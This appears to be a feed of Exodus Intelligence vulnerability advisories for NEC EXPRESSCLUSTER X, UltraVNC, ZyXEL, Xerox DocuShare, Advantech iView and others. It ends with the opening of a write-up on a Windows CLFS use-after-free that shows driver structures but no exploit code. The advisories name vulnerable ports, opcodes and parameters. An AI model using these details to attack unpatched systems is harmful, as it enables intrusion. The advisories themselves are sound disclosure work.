Vulnerability Identifiers

  • Exodus Intelligence: EIP-ff1ca610
  • MITRE CVE: CVE-2021-20700

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Disk Agent 0x103 Stack Overflow appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Disk Agent 0x104 Stack Overflow

1 November 2021 at 02:25

EIP-8b0cfb43

A stack-based buffer overflow has been found in NEC EXPRESSCLUSTER X that can lead to remote arbitrary code execution with full SYSTEM privileges. The Disk Agent (clpdiskagent.exe) is the component that is tasked with handling shared disk resources and mirror disk control. It is configured to utilize port 29004 by default to facilitate communications between agents. This vulnerability occurs during the processing of opcode 0x104 when initializing a CPROGAGT routine within the Disk Agent. An attacker is able to introduce crafted data into the clpdiskagent component to allow for arbitrary code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-8b0cfb43
  • MITRE CVE: CVE-2021-20701

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Disk Agent 0x104 Stack Overflow appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Transaction Server 0x3A Stack Overflow

1 November 2021 at 02:34

EIP-fba18752

A stack-based buffer overflow has been found in NEC EXPRESSCLUSTER X that can lead to remote arbitrary code execution with full SYSTEM privileges. The Transaction Server (clptrnsv.exe) is a system service configured to utilize port 29002 by default to facilitate transactions such as sending and receiving licensing data. This vulnerability occurs during the processing of opcode 0x3A when initializing a clpexescript routine within the Transaction Server. An attacker is able to introduce crafted data into the clptrnsv service to allow for arbitrary code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-fba18752
  • MITRE CVE: CVE-2021-20702

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Transaction Server 0x3A Stack Overflow appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Transaction Server 0x32 Stack Overflow Vulnerability

1 November 2021 at 02:48

EIP-5f2cf48c

A stack-based buffer overflow has been found in NEC EXPRESSCLUSTER X that can lead to remote arbitrary code execution with full SYSTEM privileges. The Transaction Server (clptrnsv.exe) is a system service configured to utilize port 29002 by default to facilitate transactions such as sending and receiving licensing data. This vulnerability occurs during the processing of opcode 0x32 when initializing a clpexescript routine within the Transaction Server. An attacker is able to introduce crafted data into the clptrnsv service to allow for arbitrary code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-5f2cf48c
  • MITRE CVE: CVE-2021-20703

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Transaction Server 0x32 Stack Overflow Vulnerability appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Old API Server 0x1D Stack Overflow Vulnerability

1 November 2021 at 02:52

EIP-2ba7cebd

A stack-based buffer overflow has been found in NEC EXPRESSCLUSTER X that can lead to remote arbitrary code execution with full SYSTEM privileges. The Old API Support service (clpoldapi.exe) is the system service component tasked with backwards compatibility and utilizes a random port between 1000 and 1500. This vulnerability occurs during the processing of opcode 0x1D within the Old API service. An attacker is able to introduce crafted data into the clptrnsv service to allow for arbitrary code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2ba7cebd
  • MITRE CVE: CVE-2021-20704

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Old API Server 0x1D Stack Overflow Vulnerability appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Web Manager Command Execution Vulnerability

1 November 2021 at 03:00

EIP-9eccc486

A remote command execution vulnerability has been found in NEC EXPRESSCLUSTER X. WebManager (clpwebmc.exe) is a webserver tasked with providing remote administrative access, it is configured to utilize port 29003 by default. This vulnerability occurs due to a command injection vulnerability in “LogCollect.js”. An attacker is able to specify arbitrary commands that will be executed in the context of SYSTEM.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-9eccc486
  • MITRE CVE: CVE-2021-20706

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Web Manager Command Execution Vulnerability appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Web Manager File Upload Vulnerability

1 November 2021 at 03:07

EIP-d8554689

An arbitrary file upload vulnerability has been found in NEC EXPRESSCLUSTER X. WebManager (clpwebmc.exe) is a webserver tasked with providing remote administrative access, it is configured to utilize port 29003 by default. This vulnerability occurs due to lack of input validation when supplying “UploadFile.js”. An attacker is able to transmit binary data resulting in eventual remote code execution in the context of SYSTEM.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-d8554689
  • MITRE CVE: CVE-2021-20705

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Web Manager File Upload Vulnerability appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Transaction Server 0x32 File Read Vulnerability

1 November 2021 at 03:10

EIP-852fe633

An arbitrary file read vulnerability has been found in NEC EXPRESSCLUSTER X that can allow an attacker to read files off the target system. The Transaction Server (clptrnsv.exe) is a system service configured to utilize port 29002 by default to facilitate transactions such as sending and receiving licensing data. This vulnerability occurs during the processing of opcode 0x32, an attacker is able to introduce crafted data into the clptrnsv service to expose arbitrary paths through fopen, fseek, and fread.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-852fe633
  • MITRE CVE: CVE-2021-20707

Vulnerability Metrics

  • CVSSv2 Score: 7.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Transaction Server 0x32 File Read Vulnerability appeared first on Exodus Intelligence.

UltraVNC Viewer VNC client Remote Memory Leak Vulnerability

2 December 2021 at 23:06

EIP-5182fb5b

A vulnerability exists within UltraVNC view due to a lack of proper stack memory buffer cleanup before constructing the ‘rfbTextChat’ message, which results in a leak of 3-bytes of stack memory. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the UltraVNC Viewer process.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-5182fb5b
  • MITRE CVE: 

Vulnerability Metrics

  • CVSSv2 Score: 4.3

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: June 21th, 2021
  • Disclosed to public: September 25th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post UltraVNC Viewer VNC client Remote Memory Leak Vulnerability appeared first on Exodus Intelligence.

UltraVNC Viewer VNC client RFB ReadUltraRect Heap Overflow Vulnerability

16 December 2021 at 20:50

EIP-930b0ea5

A vulnerability exists within UltraVNC’s “vncviewer.exe” client. Specifically a heap overflow can be triggered in the “ClientConnection::ReadUltraRect” function upon decompression of malicious formatted data returned from a nefarious server. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the UltraVNC Viewer process.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-930b0ea5
  • MITRE CVE: PENDING

Vulnerability Metrics

  • CVSSv2 Score: 5.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 8th, 2021
  • Disclosed to public: December 16th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post UltraVNC Viewer VNC client RFB ReadUltraRect Heap Overflow Vulnerability appeared first on Exodus Intelligence.

UltraVNC Viewer VNC client RFB rfbServerInitMsg Heap Overflow Vulnerability

16 December 2021 at 20:55

EIP-0e1ca3ec

A vulnerability exists within UltraVNC’s “vncviewer.exe” client. Specifically a malicious server may write arbitrary data to arbitrary memory locations through the  in the “rfbServerInitMsg” function upon parsing a long ‘nameLength’ field returned from a nefarious server. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the UltraVNC Viewer process.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-0e1ca3ec
  • MITRE CVE: PENDING

Vulnerability Metrics

  • CVSSv2 Score: 5.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 8th, 2021
  • Disclosed to public: December 16th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post UltraVNC Viewer VNC client RFB rfbServerInitMsg Heap Overflow Vulnerability appeared first on Exodus Intelligence.

UltraVNC Viewer VNC client RFB SolidColor Arbitrary Write Vulnerability

16 December 2021 at 21:03

EIP-0e1ca3ec

A vulnerability exists within UltraVNC’s “vncviewer.exe” client. A malicious server can trigger an arbitrary memory write condition through a flaw in the function ClientConnection::SolidColor while drawing pixel data to the screen. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the UltraVNC Viewer process.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-0e1ca3ec
  • MITRE CVE: PENDING

Vulnerability Metrics

  • CVSSv2 Score: 5.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 8th, 2021
  • Disclosed to public: December 16th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post UltraVNC Viewer VNC client RFB SolidColor Arbitrary Write Vulnerability appeared first on Exodus Intelligence.

LiveAction LiveNX AWS Credential Disclosure Vulnerability

19 January 2022 at 20:56

EIP-7d4ec9e3

Several versions of LiveAction LiveNX network monitoring software contain Amazon Web Services (AWS) credentials. These credentials have privileged access to the LiveAction AWS infrastructure. A remote attacker may abuse these credentials to gain access to LiveAction internal resources.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-7d4ec9e3
  • MITRE CVE: N/A

Vulnerability Metrics

  • CVSSv2 Score: 10

Vendor References

  • This vulnerability has been address in LiveAction LiveNX version 21.4.0

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: July 1st, 2021
  • Disclosed to public: January 19th, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post LiveAction LiveNX AWS Credential Disclosure Vulnerability appeared first on Exodus Intelligence.

Arris SURFboard SSDP Command Injection Vulnerability

2 February 2022 at 18:33

EIP-55f127ea

A vulnerability exists within Arris SURFboard’s handling of Simple Service Discovery Protocol (SSDP) messages. A specially crafted NOTIFY message with a LOCATION header can result in a command injection under the context of the root user.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-55f127ea
  • MITRE CVE: CVE-2021-41552

Vulnerability Metrics

  • CVSSv2 Score: 8.3

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: June 16th, 2021
  • Disclosed to public: February 2nd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Arris SURFboard SSDP Command Injection Vulnerability appeared first on Exodus Intelligence.

Zlibc Environment Variable Handling Local Privilege Escalation Vulnerability

2 February 2022 at 18:52

EIP-1a8a439f

A vulnerability exists in Zlibc that allows a local attacker to execute arbitrary code with elevated privileges through manipulation of the LD_ZLIB_CONFFILE and LD_ZLIB_UNCOMPRESSOR environment variables when calling setuid binaries.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-1a8a439f
  • MITRE CVE: N/A

Vulnerability Metrics

  • CVSSv2 Score: 6.6

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: January 5th, 2022
  • Disclosed to public: February 2nd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Zlibc Environment Variable Handling Local Privilege Escalation Vulnerability appeared first on Exodus Intelligence.

ZyXEL Armor Photobak Command Injection Vulnerability

22 February 2022 at 18:58

EIP-c624ba9f

A command-injection vulnerability exists within the ZyXEL Armor Z1 AC2350 series. The vulnerable endpoint is within the ‘photobak’ component found in the cgi-bin. Exploitation of the vulnerability allows for remote unauthenticated attackers to run arbitrary commands on vulnerable versions of the firmware under the context of the underlying lighthttpd subsystem.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-c624ba9f
  • MITRE CVE: CVE-2021-4029

Vulnerability Metrics

  • CVSSv2 Score: 8.3

Vendor References

  • https://www.zyxel.com/support/forgery-vulnerabilities-of-select-Armor-home-routers.shtml

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 14th, 2021
  • Disclosed to public: February 22nd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post ZyXEL Armor Photobak Command Injection Vulnerability appeared first on Exodus Intelligence.

ZyXEL Armor Cross-Site Request Forgery Vulnerability

22 February 2022 at 18:58

EIP-521a3b40

A cross-site request forgery vulnerability exists within the ZyXEL Armor Z1 AC2350 and Z2 AC2600 series. Exploitation of the vulnerability allows for attackers to run arbitrary commands on vulnerable versions of the firmware under the context of the root user. Exploitation requires either that the attacker has access to the local network or is able to coerce a local user into visiting a malicious website.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-521a3b40
  • MITRE CVE: CVE-2021-4030

Vulnerability Metrics

  • CVSSv2 Score: 7.9

Vendor References

  • https://www.zyxel.com/support/forgery-vulnerabilities-of-select-Armor-home-routers.shtml

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 14th, 2021
  • Disclosed to public: February 22nd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post ZyXEL Armor Cross-Site Request Forgery Vulnerability appeared first on Exodus Intelligence.

Xerox DocuShare AMI Pro p-tag Parsing Stack Overflow Vulnerability

23 February 2022 at 18:22

EIP-6185db3e

A stack-based buffer overflow vulnerability exists within Xerox DocuShare. Exploitation of the vulnerability allows for attackers to execute arbitrary code with system privileges. The specific flaw exists within the parsing of “<:p tags” embedded in AMI Pro (.sam) file formats. Parsing of this file is handled by the KeyView subsystem (kvoop.exe).

Vulnerability Identifiers

  • Exodus Intelligence: EIP-6185db3e
  • MITRE CVE: CVE-2007-5909

Vulnerability Metrics

  • CVSSv2 Score: 6.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 10th, 2021
  • Disclosed to public: February 24th, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Xerox DocuShare AMI Pro p-tag Parsing Stack Overflow Vulnerability appeared first on Exodus Intelligence.

Xerox DocuShare WordPerfect Parsing Stack Overflow Vulnerability

23 February 2022 at 18:42

EIP-c728d1ef

A stack-based buffer overflow vulnerability exists within Xerox DocuShare. Exploitation of the vulnerability allows for attackers to execute arbitrary code with system privileges. The specific flaw exists within the parsing of containers embedded in WordPerfect (.wpd) file formats. Parsing of this file is handled by the KeyView subsystem (kvoop.exe).

Vulnerability Identifiers

  • Exodus Intelligence: EIP-c728d1ef
  • MITRE CVE: CVE-2007-5910

Vulnerability Metrics

  • CVSSv2 Score: 9.3

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 10th, 2021
  • Disclosed to public: February 24th, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Xerox DocuShare WordPerfect Parsing Stack Overflow Vulnerability appeared first on Exodus Intelligence.

Xerox DocuShare AMI Pro File Parsing Stack Overflow Vulnerability

23 February 2022 at 18:43

EIP-db4e064b

A stack-based buffer overflow vulnerability exists within Xerox DocuShare. Exploitation of the vulnerability allows for attackers to execute arbitrary code with system privileges. The specific flaw exists within the parsing of AMI Pro (.sam) file formats. Parsing of this file structure is handled by the KeyView subsystem (lasr.dll).

Vulnerability Identifiers

  • Exodus Intelligence: EIP-db4e064b
  • MITRE CVE: CVE-2007-5909

Vulnerability Metrics

  • CVSSv2 Score: 6.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 10th, 2021
  • Disclosed to public: February 24th, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Xerox DocuShare AMI Pro File Parsing Stack Overflow Vulnerability appeared first on Exodus Intelligence.

Advantech iView ztp_config_id Parameter SQL Injection Information Disclosure Vulnerability

1 March 2022 at 19:24

EIP-824d14ae

A vulnerability exists within Advantech iView SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘ztp_config_id’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for the exfiltration of user data, included clear text passwords.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-824d14ae
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 6.4

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: January 13th, 2022
  • Disclosed to public: March 1st, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Advantech iView ztp_config_id Parameter SQL Injection Information Disclosure Vulnerability appeared first on Exodus Intelligence.

Advantech iView data Parameter SQL Injection Information Disclosure Vulnerability

1 March 2022 at 19:24

EIP-d835f368

A vulnerability exists within Advantech iView SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘data’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for the exfiltration of user data, included clear text passwords.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-d835f368
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 6.4

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: January 13th, 2022
  • Disclosed to public: March 1st, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Advantech iView data Parameter SQL Injection Information Disclosure Vulnerability appeared first on Exodus Intelligence.

Advantech iView getInventoryReportData Parameter SQL Injection Information Disclosure Vulnerability

1 March 2022 at 19:24

EIP-62f7da8c

A vulnerability exists within Advantech iView SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘getInventoryReportData’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for remote code execution with administrator privileges.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-62f7da8c
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: January 13th, 2022
  • Disclosed to public: March 1st, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Advantech iView getInventoryReportData Parameter SQL Injection Information Disclosure Vulnerability appeared first on Exodus Intelligence.

Advantech iView search_term Parameter SQL Injection Remote Code Execution Vulnerability

1 March 2022 at 19:24

EIP-626345ce

A vulnerability exists within Advantech iView SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘search_term’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for remote code execution with administrator privileges.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-626345ce
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: January 13th, 2022
  • Disclosed to public: March 1st, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Advantech iView search_term Parameter SQL Injection Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Advantech iView ztp_search_value Parameter SQL Injection Remote Code Execution Vulnerability

1 March 2022 at 19:24

EIP-b4311e44

A vulnerability exists within Advantech iView SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘ztp_search_value’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for remote code execution with administrator privileges.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-b4311e44
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 6.4

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: January 13th, 2022
  • Disclosed to public: February 2nd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Advantech iView ztp_search_value Parameter SQL Injection Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Exploiting a use-after-free in Windows Common Logging File System (CLFS)

10 March 2022 at 17:47

By Arav Garg

Overview

This post analyzes a use-after-free vulnerability in clfs.sys, the kernel driver that implements the Common Logging File System, a general-purpose logging service that can be used by user-space and kernel-space processes in Windows. A method to exploit this vulnerability to achieve privilege escalation in Windows is also outlined.

Along with two other similar vulnerabilities, Microsoft patched this vulnerability in September 2021 and assigned the CVEs CVE-2021-36955, CVE-2021-36963, and CVE-2021-38633 to them. In the absence of any public information separating the three CVEs, we’ve decided to use CVE-2021-36955 to refer to the vulnerability described herein.

The Preliminaries section describes CLFS structures, Code Analysis explains the vulnerability with the help of code snippets, and the Exploitation section outlines the steps that lead to a functional exploit.

Preliminaries

Common Log File System (CLFS) provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access. Any user-mode application that needs logging or recovery support can use CLFS. The following structures are taken from both the official documentation and a third-party’s unofficial documentation.

Every Base Log File is made up various records. These records are stored in sectors, which are written to in units of I/O called log blocks. These log blocks are always read and written in an atomic fashion to guarantee consistency.

Metadata Blocks

Every Base Log File is made up of various records. These records are stored in sectors, which are written to in units of I/O called log blocks. The Base Log File is composed of 6 different metadata blocks (3 of which are shadows), which are all examples of log blocks.

The three types of records that exist in such blocks are:

  • Control Record that contains info about layout, extend area and truncate area.
  • Base Record that contains symbol tables and info about the client, container and security contexts.
  • Truncate Record that contains info on every client that needs to have sectors changed as a result of a truncate operation.

Shadow Blocks

Three metadata records were defined above, yet six metadata blocks exist (and each metadata block only contains one record). This is due to shadow blocks, which are yet another technique used for consistency. Shadow blocks contain the previous copy of the metadata that was written, and by using the dump count in the record header, can be used to restore previously known good data in case of torn writes.

The following enumeration describes the six types of metadata blocks.

typedef enum _CLFS_METADATA_BLOCK_TYPE
{
    ClfsMetaBlockControl,
    ClfsMetaBlockControlShadow,
    ClfsMetaBlockGeneral,
    ClfsMetaBlockGeneralShadow,
    ClfsMetaBlockScratch,
    ClfsMetaBlockScratchShadow
} CLFS_METADATA_BLOCK_TYPE, *PCLFS_METADATA_BLOCK_TYPE;

Control Record

The Control Record is always composed of two sectors, as defined by the constant below:

const USHORT CLFS_CONTROL_BLOCK_RAW_SECTORS = 2;

The Control Record is defined by the structure CLFS_CONTROL_RECORD, which is shown below:

typedef struct _CLFS_CONTROL_RECORD
{
    CLFS_METADATA_RECORD_HEADER hdrControlRecord;
    ULONGLONG ullMagicValue;
    UCHAR Version;
    CLFS_EXTEND_STATE eExtendState;
    USHORT iExtendBlock;
    USHORT iFlushBlock;
    ULONG cNewBlockSectors;
    ULONG cExtendStartSectors;
    ULONG cExtendSectors;
    CLFS_TRUNCATE_CONTEXT cxTruncate;
    USHORT cBlocks;
    ULONG cReserved;
    CLFS_METADATA_BLOCK rgBlocks[ANYSIZE_ARRAY];
} CLFS_CONTROL_RECORD, *PCLFS_CONTROL_RECORD;

After Version, the next set of fields are all related to CLFS Log Extension. This data could potentially be non-zero in memory, but for a stable Base Log File on disk, all of these fields are expected to be zero. This does not, of course, imply the CLFS driver or code necessarily makes this assumption.

The first CLFS Log Extension field, eExtendState, identifies the current extend state for the file using the enumeration below:

typedef enum _CLFS_EXTEND_STATE
{
    ClfsExtendStateNone,
    ClfsExtendStateExtendingFsd,
    ClfsExtendStateFlushingBlock
} CLFS_EXTEND_STATE, *PCLFS_EXTEND_STATE;

The next two values iExtendBlock and iFlushBlock identify the index of the block being extended, followed by the block being flushed, the latter of which will normally be the shadow block. Next, the sector size of the new block is stored in cNewBlockSectors and the original sector size before the extend operation is stored in cExtendStartSectors. Finally, the number of sectors that were added is saved in cExtendSectors.

  • Block Context: The control record ends with the rgBlocks array, which defines the set of metadata blocks that exist in the Base Log File. Although this is expected to be 6, there could potentially exist additional metadata blocks, and so for forward support, the cBlocks field
    indicates the number of blocks in the array.

Each array entry is identified by the CLFS_METADATA_BLOCK structure, shown below:

typedef struct _CLFS_METADATA_BLOCK
{
    union
    {
        PUCHAR pbImage;
        ULONGLONG ullAlignment;
    };
    ULONG cbImage;
    ULONG cbOffset;
    CLFS_METADATA_BLOCK_TYPE eBlockType;
} CLFS_METADATA_BLOCK, *PCLFS_METADATA_BLOCK;

On disk, the cbOffset field indicates the offset, starting from the control metadata block (i.e.: the first sector in the Base Log File). Of where the metadata block can be found. The cbImage field, on the other hand, contains the size of the corresponding block, while the eBlockType
corresponds to the previously shown enumeration of possible metadata block types.

In memory, an additional field, pbImage, is used to store a pointer to the data in kernel-mode memory.

CLFS In-Memory Class

Once in memory, a CLFS Base Log File is represented by a CClfsBaseFile class, which can be further extended by a CClfsBaseFilePersisted. The definition for the former can be found in public symbols and is shown below:

struct _CClfsBaseFile
{
    ULONG m_cRef;
    PUCHAR m_pbImage;
    ULONG m_cbImage;
    PERESOURCE m_presImage;
    USHORT m_cBlocks;
    PCLFS_METADATA_BLOCK m_rgBlocks;
    PUSHORT m_rgcBlockReferences;
    CLFSHASHTBL m_symtblClient;
    CLFSHASHTBL m_symtblContainer;
    CLFSHASHTBL m_symtblSecurity;
    ULONGLONG m_cbContainer;
    ULONG m_cbRawSectorSize;
    BOOLEAN m_fGeneralBlockReferenced;
